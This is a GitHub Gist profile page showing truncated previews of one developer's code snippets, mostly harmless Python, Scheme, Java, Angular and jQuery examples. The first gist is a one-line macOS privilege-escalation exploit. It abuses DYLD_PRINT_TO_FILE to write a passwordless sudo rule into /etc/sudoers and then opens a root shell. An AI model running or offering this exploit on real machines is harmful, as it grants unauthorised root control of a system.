Skip to content

Instantly share code, notes, and snippets.

View davidawad's full-sized avatar
🇪🇬
البحث عن الحقيقة

David Awad davidawad

🇪🇬
البحث عن الحقيقة
View GitHub Profile
@davidawad
davidawad / Exploit Root Shell.sh
Created July 25, 2015 16:12
Mac OSX exploit for root permissions
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
import sys
lines = sys.stdin.readlines()
N = lines[0]
A = list(lines[1].split(' '))
B = []
@davidawad
davidawad / print.ss
Created September 2, 2015 23:35
basic scheme program
; add and set numbers in scheme - David
(let*
(
(a 1)
(b 2)
(c 3)
)
;;(display + a b ) (newline)
@davidawad
davidawad / fucking_stupid.py
Created October 11, 2015 21:47
I'm so angry that this works this way.
>>> a = [[0]*10]*10
>>> a
[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]
>>> a[0][0] = 1
>>> a
[[1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0], [1, 0, 0, 0, 0, 0, 0, 0, 0, 0]]
>>>
def solveMeSecond(a,b):
return a+b
n = int(input())
for i in range(0,n):
a, b = input().split()
a,b = int(a),int(b)
res = solveMeSecond(a,b)
print (res)
public class Magic {
public static void main(String[] args) {
//Print the console number
int mynumber=4;
int stepOne = mynumber;
int stepTwo = stepOne;
int stepThree = stepTwo % 4;
int stepFour = stepThree + 17;
int stepFive = stepFour - 4;
int stepSix = stepFive % 6;
@davidawad
davidawad / ScoreController.js
Created December 18, 2015 14:58
The gameboard project
app.controller('ScoreController', ['$scope', function($scope) {
$scope.scores = [
{
datetime: 1420848000000,
visitor_team: {
city: "Charlotte",
name: "Hornets"
},
home_team: {
print(30 * 30)
print('hello')
def example():
print('function call')
var main = function() {
$('form').submit(function() {
var firstName = $('#first').val();
var lastName = $('#last').val();
var email = $('#email').val();
var password = $("#password").val();
if (firstName === "") {
$('.first-name-error').text("Please enter your first name");
}
if (lastName === "") {
#!/bin/bash
echo "Running System Renovations ..."
sudo apt-get install -y && sudo apt-get upgrade -y && sudo apt-get autoremove -y
sudo apt-get dist-upgrade
sudo apt-get -f install && sudo apt-get -y autoclean && sudo apt-get -y clean